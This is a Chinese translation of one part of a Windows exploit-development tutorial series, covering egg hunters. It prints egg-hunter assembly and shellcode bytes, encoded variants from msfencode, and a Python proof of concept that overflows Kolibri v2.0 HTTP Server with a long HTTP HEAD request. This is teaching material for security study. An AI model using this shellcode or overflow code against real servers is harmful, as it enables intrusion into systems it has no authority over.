- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
寻蛋技术介绍
通过前面的学习我们知道缓冲区溢出是如何工作的. 某个 CPU 寄存器指向我们可控的缓冲区,劫持执行流重定向到这个 CPU 寄存器指向的地址,然后放置在缓冲区内的任何指令都会被执行. 但是假如我们得到程序控制权,缓冲区缺放不下我们的大 payload 怎么办. 难道这个漏洞就没法利用了? 事实上是可以的. 只需完成这两件事中的一件:(1)EIP 后的内容也出现在内存的其它地方 (2) 布置 shellcode 在不同的内存区域. 如果这些内存区域距离很近,你可以用 jmp offset 指令从一个内存区域跳到另一个内存区域. 然而,如果距离太远或很难访问到这里区域,我们需要用另外的技术(我们可以硬编码一个地址然后跳转到它,为了实现稳定利用显然这不是好主意)
使用寻蛋技术! 寻蛋技术由一组编程指令组成,与别的 shellcode 没什么两样. 寻蛋的目的是为了搜索整个内存空间(栈/堆/…) 找到我们真正的 shellcdoe 并执行它. 这里有几个可用的寻蛋指令,如果你想知道它是如何工作的我推荐你读 skape 写的这篇文章,事实上我会稍微修改这些寻蛋指令,这些指令在下面:
loop_inc_page: or dx, 0x0fff // Add PAGE_SIZE-1 to edx loop_inc_one: inc edx // Increment our pointer by one loop_check: push edx // Save edx push 0x2 // Push NtAccessCheckAndAuditAlarm pop eax // Pop into eax int 0x2e // Perform the syscall cmp al, 0x05 // Did we get 0xc0000005 (ACCESS_VIOLATION) ? pop edx // Restore edx loop_check_8_valid: je loop_inc_page // Yes, invalid ptr, go to the next page is_egg: mov eax, 0x50905090 // Throw our egg in eax mov edi, edx // Set edi to the pointer we validated scasd // Compare the dword in edi to eax jnz loop_inc_one // No match? Increment the pointer by one scasd // Compare the dword in edi to eax again (which is now edx + 4) jnz loop_inc_one // No match? Increment the pointer by one matched: jmp edi // Found the egg. Jump 8 bytes past it into our code.
我不会解释它是怎么工作的,你可以通过 skape 的文章了解更多细节. 你需要知道的是蛋(也就是我们的 shellcode) 包含四个字节的标志头. 如果寻蛋开始,首先它会搜索整个内存直至找到重复两次找到这个标志(如果标志是”1234”, 那么就搜索”12341234”). 当找到这个标志,改变执行流跳转到标志后的 shellcode 执行. 如果你需要寻蛋指令,我推荐下面这个,很小,速度和跨 windows 平台都不错:
"\x66\x81\xca\xff" "\x0f\x42\x52\x6a" "\x02\x58\xcd\x2e" "\x3c\x05\x5a\x74" "\xef\xb8\x62\x33" #b3 "\x33\x66\x8b\xfa" #3f "\xaf\x75\xea\xaf" "\x75\xe7\xff\xe7" The tag in this case is "b33f", if you use an ASCII tag you can easily convert it to hex with a quick google search... In this case we will need to prepend our final stage shellcode with "b33fb33f" so our egg hunter can find it.
在开始前,我会告诉你加入寻蛋指令包含坏字符怎么办. 首先我们写这 32 字节到二进制文件,可以用我写的”bin.sh”完成,接下来用 msfencode 编码它. 下面是一个例子. 注意编码会改变大小。
root@bt:~/Desktop# ./bin.sh -i test.txt -o hunter -t B [>] Parsing Input File [>] Pipe output to xxd [>] Clean up [>] Done!! root@bt:~/Desktop# msfencode -b '\xff' -i hunter.bin[*] x86/shikata_ga_nai succeeded with size 59 (iteration=1) buf = "\xd9\xcf\xd9\x74\x24\xf4\x5e\x33\xc9\xbf\x4d\x1a\x03\x02" + "\xb1\x09\x31\x7e\x17\x83\xee\xfc\x03\x33\x09\xe1\xf7\xad" + "\xac\x2f\x08\x3e\xed\xfd\x9d\x42\xa9\xcc\x4c\x7e\x4c\x95" + "\xe4\x91\xf6\x4b\x36\x5e\x61\x07\xc2\x0f\x18\xfd\x9c\x3a" + "\x04\xfe\x04" root@bt:~/Desktop# msfencode -e x86/alpha_mixed -i hunter.bin[*] x86/alpha_mixed succeeded with size 125 (iteration=1) buf = "\xdb\xcf\xd9\x74\x24\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" + "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" + "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" + "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" + "\x75\x4a\x49\x43\x56\x6b\x31\x49\x5a\x6b\x4f\x46\x6f\x37" + "\x32\x46\x32\x70\x6a\x44\x42\x42\x78\x5a\x6d\x46\x4e\x77" + "\x4c\x35\x55\x32\x7a\x71\x64\x7a\x4f\x48\x38\x73\x52\x57" + "\x43\x30\x33\x62\x46\x4c\x4b\x4a\x5a\x4c\x6f\x62\x55\x6b" + "\x5a\x6e\x4f\x43\x45\x69\x77\x59\x6f\x78\x67\x41\x41"
以上的背景知识足够,是时候开始实战了!!!
重现崩溃
针对’Kolibri v2.0 HTTP Server’的利用,我们把 shellcode 嵌入到一个 HTTP 请求. 下面是 POC. 实际应用中你可能需要改变 EIP; 8080 是默认端口。
#!/usr/bin/python import socket import os import sys Stage1 = "A"*600 buffer = ( "HEAD /" + Stage1 + " HTTP/1.1\r\n" "Host: 192.168.111.128:8080\r\n" "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n" "Keep-Alive: 115\r\n" "Connection: keep-alive\r\n\r\n") expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) expl.connect(("192.168.111.128", 8080)) expl.send(buffer) expl.close()
附加 Kolibri 到 Immunity Debugger 调试器并执行这个 POC, 下图可以看到我们成功覆写 EIP 并且 ESP 指向我们的缓冲区. 注意如果我们发送超长的字符串同样可以覆盖到 SHE. 很有方法利用这个漏洞,我决定使用寻蛋技术。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论